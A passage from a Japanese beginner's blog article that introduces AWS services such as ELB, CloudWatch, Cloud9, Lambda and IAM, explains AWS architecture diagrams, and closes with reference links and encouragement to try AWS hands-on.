では、集中するトラフィックを分散して、サービスの稼働を安定させることが出来ます。メンテナンスや障害発生時にこれの設定を行うことで、該当のサーバーへのリクエストのみを止めることが出来るサービスです。 ALB (Application Load Balancer)、 NLB (Network Load Balancer)、 CLB (Classic Load Balancer)の三つを総称してELBと言います。 Cloud Watch Cloud Watch とは、AWSの各種リソースを監視してくれるサービスです。セットアップが不要で、異常な状態を検知し自動復旧を行い、サービスの種類に応じてアラート通知やアクションを設定することが出来ます。 CloudWatch 、 CloudWatch Logs 、 CloudWatch Events の3つからなるサービスで、以下のような役割に分かれています。 CloudWatch リソースを管理する。CPUやメモリなど複数項目をグラフ化してダッシュボードを作れる CloudWatch Logs ログを集めて監視する。アプリケーションやOSでエラーログをはいたら管理者にメール通知することができる CloudWatch Events APIのイベントをトリガーに何らかのアクションを実行させることが出来るサービス。AWSではEC2インスタンスの起動停止もAPIで実行されているため、こういったイベントを監視することで、特定の処理に対してアクションを実行することができる Cloud9 Cloud9 とは、ブラウザのみでコードを記述、実行、デバッグできる統合開発環境です。コードエディタ、デバッガー、ターミナルを利用することが出来ます。ブラウザ上で動くため、端末の環境に左右されることなく、開発環境を簡単に用意することが出来ます。 また、一般的なプログラミング言語を利用するのに必要なツールがあらかじめ用意されているため、すぐに開発を進めることが出来ます。 Lambda Lambda は、サーバレスコンピューティングサービスです。 サーバレスとは、「サーバが無い状態でプログラムを実行する」という意味ではなく、「AWS側が処理に必要なサーバを用意するので、こちらは 実行するプログラムだけを用意する 」というような意味になります。 AWSクラウド上にプログラムを用意しておき、インターネットを通じて好きなタイミングでそのプログラムを実行することが出来ます。 IAM (Identitiy and Access Management) IAM とは、IDとアクセス権を管理するサービスです。IAMを利用することで、誰がどのサービスを使ってもよくて、どのサービスを使ってはいけないかの設定をすることが出来ます。AWSでは、必要な人に必要な最低限の権限のみを付与することが推奨されています。 またIAMには IAMユーザ 、 IAMポリシー 、 IAMロール があります。 IAMユーザ 人に与えることが出来るIDを作成できる。ユーザ名とパスワードが付与され、AWSアカウントにログインすることが出来る。1つのAWSアカウントの中に複数のIAMユーザを作成することが出来る。 IAMポリシー どのサービスをどのくらいの権限で利用することが出来るかを設定するサービス。アクセスできる範囲を設定したポリシーを、IAMユーザにくっつけて利用する。 IAMロール 複数のIAMポリシーを束ねることでアクセス範囲を設定することが出来るサービス。 AWS構成図 AWS構成図とは、AWSのアイコンや線を結んで表される、AWSインフラを表した図になります。簡単なものですが、下記の画像などがAWS構成図にあたります。 上記の画像は AWSのリージョンの中にVPCを作成 利用するAZを選択 その中にパブリックサブネットとプライベートサブネットを作成 利用するAWSサービス(EC2・RDS)を任意の場所に置く パブリックサブネットはインターネットとやり取りするため、IGWをパブリックサブネットに紐づけて、インターネットを繋ぐ ということを表しています。 言葉で表すとすごく長くなってしまうような構成も一目で分かるように、上記のような構成図を作成します。 AWSでは、よく利用されるクラウド構成を構成図としてまとめています。興味がある方は こちら から確認できます。 参考にしたページ 各説明で分かりづらい、もっと詳しく知りたいときは、下記のURLを参考にしてみてください。 リージョン・AZ VPC・サブネット Gateway ルートテーブル セキュリティグループ EC2 S3 RDS ELB Cloud Watch Cloud9 Lambda IAM まとめ AWSの基礎知識についてまとめましたが、 一番理解出来るのはやはり触ってみること です。 私自身がそうだったように、AWSは会社に入って初めて触る方が多いと思います。 IT分野を全く触ってこなかった方はもちろん、インフラの部分を独学でやるには少しハードルが高いためです。 この記事で、そのハードルを少しでも下げてAWSを触れるようになれば幸いです。 他にも解説したほうがよいサービスや知識があれば追記していきたいと思います。 最後まで読んでいただきありがとうございました。
アバター